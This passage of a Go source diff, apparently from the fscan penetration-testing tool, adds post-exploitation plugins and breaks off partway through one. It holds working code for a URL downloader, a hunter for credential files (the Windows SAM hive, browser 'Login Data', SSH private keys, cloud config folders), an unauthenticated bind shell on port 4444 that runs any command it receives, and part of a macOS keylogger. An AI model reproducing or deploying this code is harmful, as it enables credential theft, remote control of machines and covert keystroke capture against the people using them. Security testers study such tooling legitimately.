common.LogInfo(fmt.Sprintf("初始化文件下载插件 - 平台: %s", runtime.GOOS))
// 验证必要参数
if err := p.validateParameters(); err != nil {
return fmt.Errorf("参数验证失败: %v", err)
}
// 检查保存路径权限
if err := p.checkSavePathPermissions(); err != nil {
return fmt.Errorf("保存路径权限检查失败: %v", err)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行文件下载任务
func (p *DownloaderPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogInfo(fmt.Sprintf("开始下载文件: %s", p.downloadURL))
// 执行下载
downloadInfo, err := p.downloadFile(ctx)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "FileDownloader",
Banner: fmt.Sprintf("文件下载成功: %s -> %s", p.downloadURL, downloadInfo["save_path"]),
Extra: map[string]interface{}{
"download_url": p.downloadURL,
"save_path": downloadInfo["save_path"],
"file_size": downloadInfo["file_size"],
"content_type": downloadInfo["content_type"],
"platform": runtime.GOOS,
"download_time": downloadInfo["download_time"],
},
}
common.LogSuccess(fmt.Sprintf("文件下载完成: %s (大小: %v bytes)",
downloadInfo["save_path"], downloadInfo["file_size"]))
return result, nil
}
// validateParameters 验证输入参数
func (p *DownloaderPlugin) validateParameters() error {
if p.downloadURL == "" {
return fmt.Errorf("下载URL不能为空请使用 -download-url 参数指定")
}
// 验证URL格式
if !strings.HasPrefix(strings.ToLower(p.downloadURL), "http://") &&
!strings.HasPrefix(strings.ToLower(p.downloadURL), "https://") {
return fmt.Errorf("无效的URL格式必须以 http:// 或 https:// 开头")
}
// 如果没有指定保存路径使用URL中的文件名
if p.savePath == "" {
filename := p.extractFilenameFromURL(p.downloadURL)
if filename == "" {
filename = "downloaded_file"
}
p.savePath = filename
common.LogInfo(fmt.Sprintf("未指定保存路径,使用默认文件名: %s", p.savePath))
}
return nil
}
// extractFilenameFromURL 从URL中提取文件名
func (p *DownloaderPlugin) extractFilenameFromURL(url string) string {
// 移除查询参数
if idx := strings.Index(url, "?"); idx != -1 {
url = url[:idx]
}
// 获取路径的最后一部分
parts := strings.Split(url, "/")
if len(parts) > 0 {
filename := parts[len(parts)-1]
if filename != "" && !strings.Contains(filename, "=") {
return filename
}
}
return ""
}
// checkSavePathPermissions 检查保存路径权限
func (p *DownloaderPlugin) checkSavePathPermissions() error {
// 获取保存目录
saveDir := filepath.Dir(p.savePath)
if saveDir == "." || saveDir == "" {
// 使用当前目录
var err error
saveDir, err = os.Getwd()
if err != nil {
return fmt.Errorf("获取当前目录失败: %v", err)
}
p.savePath = filepath.Join(saveDir, filepath.Base(p.savePath))
}
// 确保目录存在
if err := os.MkdirAll(saveDir, 0755); err != nil {
return fmt.Errorf("创建保存目录失败: %v", err)
}
// 检查写入权限
testFile := filepath.Join(saveDir, ".fscan_write_test")
if file, err := os.Create(testFile); err != nil {
return fmt.Errorf("保存目录无写入权限: %v", err)
} else {
file.Close()
os.Remove(testFile)
}
common.LogInfo(fmt.Sprintf("文件将保存至: %s", p.savePath))
return nil
}
// downloadFile 执行文件下载
func (p *DownloaderPlugin) downloadFile(ctx context.Context) (map[string]interface{}, error) {
startTime := time.Now()
// 创建带超时的HTTP客户端
client := &http.Client{
Timeout: p.downloadTimeout,
}
// 创建请求
req, err := http.NewRequestWithContext(ctx, "GET", p.downloadURL, nil)
if err != nil {
return nil, fmt.Errorf("创建HTTP请求失败: %v", err)
}
// 设置User-Agent
req.Header.Set("User-Agent", "fscan-downloader/1.0")
common.LogInfo("正在连接到服务器...")
// 发送请求
resp, err := client.Do(req)
if err != nil {
return nil, fmt.Errorf("HTTP请求失败: %v", err)
}
defer resp.Body.Close()
// 检查HTTP状态码
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("HTTP请求失败状态码: %d %s", resp.StatusCode, resp.Status)
}
// 检查文件大小
contentLength := resp.ContentLength
if contentLength > p.maxFileSize {
return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)",
contentLength, p.maxFileSize)
}
common.LogInfo(fmt.Sprintf("开始下载,文件大小: %d bytes", contentLength))
// 创建保存文件
outFile, err := os.Create(p.savePath)
if err != nil {
return nil, fmt.Errorf("创建保存文件失败: %v", err)
}
defer outFile.Close()
// 使用带限制的Reader防止过大文件
limitedReader := io.LimitReader(resp.Body, p.maxFileSize)
// 复制数据
written, err := io.Copy(outFile, limitedReader)
if err != nil {
// 清理部分下载的文件
os.Remove(p.savePath)
return nil, fmt.Errorf("文件下载失败: %v", err)
}
downloadTime := time.Since(startTime)
// 返回下载信息
downloadInfo := map[string]interface{}{
"save_path": p.savePath,
"file_size": written,
"content_type": resp.Header.Get("Content-Type"),
"download_time": downloadTime,
}
return downloadInfo, nil
}
// GetLocalData 获取下载器本地数据
func (p *DownloaderPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "downloader"
data["platform"] = runtime.GOOS
data["download_url"] = p.downloadURL
data["save_path"] = p.savePath
data["timeout"] = p.downloadTimeout.String()
data["max_file_size"] = p.maxFileSize
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据
func (p *DownloaderPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("文件下载完成: %s -> %s", p.downloadURL, p.savePath),
Data: data,
Extra: map[string]interface{}{
"download_url": p.downloadURL,
"save_path": p.savePath,
"platform": runtime.GOOS,
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *DownloaderPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("跨平台文件下载插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString(fmt.Sprintf("支持协议: %s\n", strings.Join(p.GetMetadata().Protocols, ", ")))
info.WriteString("功能: 从HTTP/HTTPS URL下载文件到本地\n")
info.WriteString("参数:\n")
info.WriteString(" -download-url: 要下载的文件URL\n")
info.WriteString(" -download-path: 保存路径 (可选默认使用URL中的文件名)\n")
return info.String()
}
// RegisterDownloaderPlugin 注册文件下载插件
func RegisterDownloaderPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "downloader",
Version: "1.0.0",
Author: "fscan-team",
Description: "跨平台文件下载插件支持从指定URL下载文件并保存到本地",
Category: "local",
Tags: []string{"downloader", "local", "file", "cross-platform"},
Protocols: []string{"http", "https"},
},
func() base.Plugin {
return NewDownloaderPlugin()
},
)
base.GlobalPluginRegistry.Register("downloader", factory)
}
// init 插件注册函数
func init() {
RegisterDownloaderPlugin()
}

View File

@ -0,0 +1,380 @@
package fileinfo
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
type FileInfoPlugin struct {
*local.BaseLocalPlugin
// 配置选项
blacklist []string
whitelist []string
sensitiveFiles []string
searchDirs []string
}
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
func NewFileInfoPlugin() *FileInfoPlugin {
metadata := &base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地敏感文件信息收集插件",
Category: "local",
Tags: []string{"local", "fileinfo", "sensitive"},
Protocols: []string{"local"},
}
plugin := &FileInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
blacklist: []string{
// 可执行文件和库
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
// 图像和媒体文件
".png", ".jpg", ".jpeg", ".gif", ".bmp", ".ico", ".tiff", ".svg",
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".wav", ".flac",
// 文档和归档文件(通常不含敏感信息)
".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx",
".zip", ".rar", ".7z", ".tar", ".gz",
// 代码和项目文件
".pyc", ".pyo", ".class", ".obj", ".o", ".lib", ".a",
// 系统和临时文件
".tmp", ".temp", ".log", ".cache", ".bak", ".swp",
".manifest", ".mui", ".nls", ".dat", ".bin", ".pdb",
// 系统目录
"windows\\system32", "windows\\syswow64", "windows\\winsxs",
"program files", "program files (x86)", "programdata",
"appdata\\local\\temp", "appdata\\local\\microsoft\\windows",
"locale", "winsxs", "windows\\sys", "node_modules", ".git",
"__pycache__", ".vs", ".vscode\\extensions", "dist\\bundled",
},
whitelist: []string{
// 中文关键词 - 更精确的匹配
"密码", "账号", "用户", "凭据", "证书", "私钥", "公钥",
"令牌", "口令", "认证", "授权", "登录",
// 英文关键词 - 敏感文件标识
"password", "passwd", "credential", "token", "auth", "login",
"key", "secret", "cert", "certificate", "private", "public",
"rsa", "ssh", "api_key", "access_key", "session",
// 配置文件 - 但更具体
".env", "database", "db_", "connection", "conn_",
// 特定敏感文件名
"id_rsa", "id_dsa", "authorized_keys", "known_hosts",
"shadow", "passwd", "credentials", "keystore",
},
}
// 设置平台支持
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
// 初始化敏感文件和搜索目录
plugin.initSensitiveFiles()
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// initSensitiveFiles 初始化敏感文件列表
func (p *FileInfoPlugin) initSensitiveFiles() {
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
p.sensitiveFiles = []string{
"C:\\boot.ini",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
if homeDir != "" {
p.sensitiveFiles = append(p.sensitiveFiles, []string{
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
}
case "linux", "darwin":
p.sensitiveFiles = []string{
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/nginx/nginx.conf",
"/etc/hosts.deny",
"/etc/ssh/ssh_config",
"/etc/resolv.conf",
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.bash_history",
}
}
p.searchDirs = p.getOptimizedSearchDirs()
}
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
var dirs []string
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
dirs = []string{
// 用户目录的关键文件夹
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
filepath.Join(homeDir, ".ssh"),
filepath.Join(homeDir, ".aws"),
filepath.Join(homeDir, ".azure"),
filepath.Join(homeDir, ".kube"),
// 公共目录的关键部分
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
}
case "linux", "darwin":
dirs = []string{
homeDir,
filepath.Join(homeDir, "Desktop"),
filepath.Join(homeDir, "Documents"),
filepath.Join(homeDir, "Downloads"),
filepath.Join(homeDir, ".ssh"),
filepath.Join(homeDir, ".aws"),
filepath.Join(homeDir, ".azure"),
filepath.Join(homeDir, ".kube"),
"/opt",
"/usr/local/bin",
"/var/www",
}
}
// 过滤存在的目录
var validDirs []string
for _, dir := range dirs {
if _, err := os.Stat(dir); err == nil {
validDirs = append(validDirs, dir)
}
}
return validDirs
}
// ScanLocal 执行本地文件扫描 - 简化版本
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogInfo("开始本地敏感文件扫描...")
foundFiles := make([]string, 0)
// 扫描固定位置的敏感文件
common.LogDebug("扫描固定敏感文件位置...")
for _, file := range p.sensitiveFiles {
if p.checkFile(file) {
foundFiles = append(foundFiles, file)
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
}
}
// 根据规则搜索敏感文件
common.LogDebug("按规则搜索敏感文件...")
searchFiles := p.searchSensitiveFiles()
foundFiles = append(foundFiles, searchFiles...)
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: true,
Service: "FileInfo",
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
Extra: map[string]interface{}{
"files": foundFiles,
"total_count": len(foundFiles),
"platform": runtime.GOOS,
"system_info": systemInfo,
"search_dirs": len(p.searchDirs),
},
}
if len(foundFiles) > 0 {
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
for _, file := range foundFiles {
common.LogSuccess(fmt.Sprintf("发现: %s", file))
}
} else {
common.LogInfo("未发现敏感文件")
}
return result, nil
}
// GetLocalData 获取本地文件数据
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取敏感文件数据
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
// 文件信息收集插件主要是扫描,不进行深度利用
return &base.ExploitResult{
Success: true,
Output: "文件信息收集完成",
Data: data,
}, nil
}
// checkFile 检查文件是否存在
func (p *FileInfoPlugin) checkFile(path string) bool {
if _, err := os.Stat(path); err == nil {
return true
}
return false
}
// searchSensitiveFiles 搜索敏感文件(限制深度和数量)
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
var foundFiles []string
maxFiles := 50 // 限制最多找到的文件数量
maxDepth := 4 // 限制递归深度
for _, searchPath := range p.searchDirs {
if len(foundFiles) >= maxFiles {
break
}
baseDepth := strings.Count(searchPath, string(filepath.Separator))
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 限制递归深度
currentDepth := strings.Count(path, string(filepath.Separator))
if currentDepth-baseDepth > maxDepth {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
// 跳过黑名单文件/目录
if p.isBlacklisted(path) {
if info.IsDir() {
return filepath.SkipDir
}
return nil
}
// 限制文件数量
if len(foundFiles) >= maxFiles {
return filepath.SkipDir
}
// 跳过过大的文件(可能不是配置文件)
if !info.IsDir() && info.Size() > 10*1024*1024 { // 10MB
return nil
}
// 检查白名单关键词
if !info.IsDir() && p.isWhitelisted(info.Name()) {
foundFiles = append(foundFiles, path)
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
}
return nil
})
}
return foundFiles
}
// isBlacklisted 检查是否在黑名单中
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
pathLower := strings.ToLower(path)
for _, black := range p.blacklist {
if strings.Contains(pathLower, black) {
return true
}
}
return false
}
// isWhitelisted 检查是否匹配白名单
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
filenameLower := strings.ToLower(filename)
for _, white := range p.whitelist {
if strings.Contains(filenameLower, white) {
return true
}
}
return false
}
// RegisterFileInfoPlugin 注册文件信息收集插件
func RegisterFileInfoPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "fileinfo",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地敏感文件信息收集插件",
Category: "local",
Tags: []string{"local", "fileinfo", "sensitive"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewFileInfoPlugin()
},
)
base.GlobalPluginRegistry.Register("fileinfo", factory)
}
// GetInfo 获取插件信息
func (p *FileInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("本地敏感文件扫描插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterFileInfoPlugin()
}

View File

@ -0,0 +1,331 @@
package forwardshell
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ForwardShellPlugin 正向Shell插件 - 使用简化架构
type ForwardShellPlugin struct {
*local.BaseLocalPlugin
port int
listener net.Listener
}
// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
func NewForwardShellPlugin() *ForwardShellPlugin {
// 从全局参数获取正向Shell端口
port := common.ForwardShellPort
if port <= 0 {
port = 4444 // 默认端口
}
metadata := &base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"local", "shell", "remote", "access"},
Protocols: []string{"local"},
}
plugin := &ForwardShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限(除非需要绑定低端口)
plugin.SetRequiresPrivileges(port < 1024)
return plugin
}
// Initialize 初始化插件
func (p *ForwardShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行正向Shell扫描 - 简化版本
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动正向Shell服务器...")
// 启动正向Shell服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
// 直接在当前goroutine中运行这样可以确保在设置ForwardShellActive后立即被主程序检测到
err := p.startForwardShellServer(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ForwardShell",
Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": p.port,
"platform": runtime.GOOS,
"service": "shell",
"status": "completed",
},
}
return result, nil
}
// startForwardShellServer 启动正向Shell服务器 - 核心实现
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %v", err)
}
defer listener.Close()
p.listener = listener
common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
// 设置正向Shell为活跃状态告诉主程序保持运行
common.ForwardShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ForwardShellActive = false
}()
// 主循环处理连接
for {
select {
case <-ctx.Done():
common.LogBase("正向Shell服务器被上下文取消")
return ctx.Err()
default:
}
// 设置监听器超时,以便能响应上下文取消
if tcpListener, ok := listener.(*net.TCPListener); ok {
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
}
conn, err := listener.Accept()
if err != nil {
// 检查是否是超时错误
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue // 超时继续循环
}
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
continue
}
common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
// 并发处理客户端连接
go p.handleClient(conn)
}
}
// handleClient 处理客户端连接
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
defer clientConn.Close()
// 发送欢迎信息
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
clientConn.Write([]byte(welcome))
// 创建命令处理器
scanner := bufio.NewScanner(clientConn)
for scanner.Scan() {
command := strings.TrimSpace(scanner.Text())
if command == "" {
continue
}
if command == "exit" {
clientConn.Write([]byte("Goodbye!\n"))
common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
break
}
// 执行命令并返回结果
p.executeCommand(clientConn, command)
}
if err := scanner.Err(); err != nil {
common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
}
}
// executeCommand 执行命令并返回结果
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
var cmd *exec.Cmd
// 根据平台创建命令
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/c", command)
case "linux", "darwin":
cmd = exec.Command("/bin/sh", "-c", command)
default:
conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
return
}
// 设置命令超时
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if ctx.Err() == context.DeadlineExceeded {
conn.Write([]byte("命令执行超时\n"))
return
}
if err != nil {
conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
return
}
// 发送命令输出
if len(output) == 0 {
conn.Write([]byte("(命令执行成功,无输出)\n"))
} else {
conn.Write(output)
// 确保输出以换行符结尾
if !strings.HasSuffix(string(output), "\n") {
conn.Write([]byte("\n"))
}
}
// 发送命令提示符
prompt := p.getPrompt()
conn.Write([]byte(prompt))
}
// getPrompt 获取平台特定的命令提示符
func (p *ForwardShellPlugin) getPrompt() string {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME") // Windows
}
if username == "" {
username = "user"
}
switch runtime.GOOS {
case "windows":
return fmt.Sprintf("%s@%s> ", username, hostname)
case "linux", "darwin":
return fmt.Sprintf("%s@%s$ ", username, hostname)
default:
return fmt.Sprintf("%s@%s# ", username, hostname)
}
}
// GetLocalData 获取正向Shell本地数据
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "forwardshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["port"] = p.port
data["service"] = "shell"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据正向Shell主要是服务功能
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("正向Shell服务器运行完成端口: %d", p.port),
Data: data,
Extra: map[string]interface{}{
"port": p.port,
"service": "shell",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *ForwardShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("正向Shell服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供远程Shell访问支持命令执行\n")
info.WriteString("协议: TCP基于文本的命令交互\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n")
return info.String()
}
// RegisterForwardShellPlugin 注册正向Shell插件
func RegisterForwardShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"forwardshell", "local", "shell", "remote"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewForwardShellPlugin()
},
)
base.GlobalPluginRegistry.Register("forwardshell", factory)
}
// init 插件注册函数
func init() {
RegisterForwardShellPlugin()
}

View File

@ -0,0 +1,26 @@
package local
import (
"context"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
)
// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
type LocalPlugin interface {
base.Plugin
// ScanLocal 执行本地扫描 - 核心功能
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
// GetPlatformSupport 获取支持的平台
GetPlatformSupport() []string
// RequiresPrivileges 是否需要特殊权限
RequiresPrivileges() bool
}
// 移除不必要的接口:
// - LocalConnector: 本地插件不需要"连接"概念
// - LocalScanner: 功能合并到LocalPlugin中
// - LocalExploiter: 本地插件不需要攻击利用功能

View File

@ -0,0 +1,289 @@
// +build darwin
package keylogger
/*
#cgo CFLAGS: -x objective-c
#cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices
#import <Cocoa/Cocoa.h>
#import <Carbon/Carbon.h>
#import <ApplicationServices/ApplicationServices.h>
// 键盘事件回调函数
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon);
// 启动事件监听
int startEventMonitoring(void);
// 停止事件监听
void stopEventMonitoring(void);
// 全局变量
static CFMachPortRef eventTap = NULL;
static CFRunLoopSourceRef runLoopSource = NULL;
static bool isMonitoring = false;
// 外部回调函数Go函数
extern void handleKeyEvent(int keyCode, int isKeyDown);
// 键盘事件回调函数实现
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown || type == kCGEventKeyUp) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0;
// 调用Go函数处理键盘事件
handleKeyEvent((int)keyCode, isKeyDown);
}
// 继续传递事件
return event;
}
// 启动事件监听
int startEventMonitoring(void) {
if (isMonitoring) {
return 0; // 已经在监听
}
// 检查辅助功能权限
if (!AXIsProcessTrusted()) {
return -1; // 没有辅助功能权限
}
// 创建事件tap
eventTap = CGEventTapCreate(
kCGSessionEventTap,
kCGHeadInsertEventTap,
kCGEventTapOptionDefault,
CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
keyboardEventCallback,
NULL
);
if (!eventTap) {
return -2; // 创建事件tap失败
}
// 创建run loop source
runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
// 添加到当前run loop
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
// 启用事件tap
CGEventTapEnable(eventTap, true);
isMonitoring = true;
return 0; // 成功
}
// 停止事件监听
void stopEventMonitoring(void) {
if (!isMonitoring) {
return;
}
if (eventTap) {
CGEventTapEnable(eventTap, false);
CFRelease(eventTap);
eventTap = NULL;
}
if (runLoopSource) {
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CFRelease(runLoopSource);
runLoopSource = NULL;
}
isMonitoring = false;
}
*/
import "C"
import (
"context"
"fmt"
"time"
"unsafe"
"github.com/shadow1ng/fscan/common"
)
var darwinKeylogger *KeyloggerPlugin
// checkDarwinRequirements 检查Darwin特定要求
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
common.LogInfo("检查macOS键盘记录权限...")
// 检查辅助功能权限
// 注意:实际运行时需要用户手动在系统偏好设置中授权
common.LogInfo("注意: macOS系统需要在'系统偏好设置 > 安全性与隐私 > 辅助功能'中授权此应用")
return nil
}
// startDarwinKeylogging 启动Darwin键盘记录
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
common.LogInfo("启动macOS键盘记录...")
// 设置全局引用
darwinKeylogger = p
// 启动事件监听
result := C.startEventMonitoring()
switch result {
case -1:
return fmt.Errorf("macOS辅助功能权限未授权请在系统偏好设置中启用")
case -2:
return fmt.Errorf("创建键盘事件监听失败")
case 0:
common.LogInfo("macOS键盘事件监听已启动")
default:
return fmt.Errorf("启动键盘监听时发生未知错误: %d", result)
}
// 启动RunLoop来处理事件
go p.runEventLoop(ctx)
// 等待上下文取消
<-ctx.Done()
// 停止事件监听
C.stopEventMonitoring()
common.LogInfo("macOS键盘记录已停止")
return nil
}
// runEventLoop 运行事件循环
func (p *KeyloggerPlugin) runEventLoop(ctx context.Context) {
// 这里需要运行Core Foundation的RunLoop来处理事件
// 由于Go和C的交互限制我们使用简单的循环来保持程序运行
ticker := time.NewTicker(100 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
// 保持循环运行让C的事件处理能够工作
continue
}
}
}
// handleKeyEvent Go回调函数由C代码调用
//export handleKeyEvent
func handleKeyEvent(keyCode C.int, isKeyDown C.int) {
if darwinKeylogger == nil {
return
}
// 只处理按键按下事件
if isKeyDown == 1 {
keyChar := getDarwinKeyChar(int(keyCode))
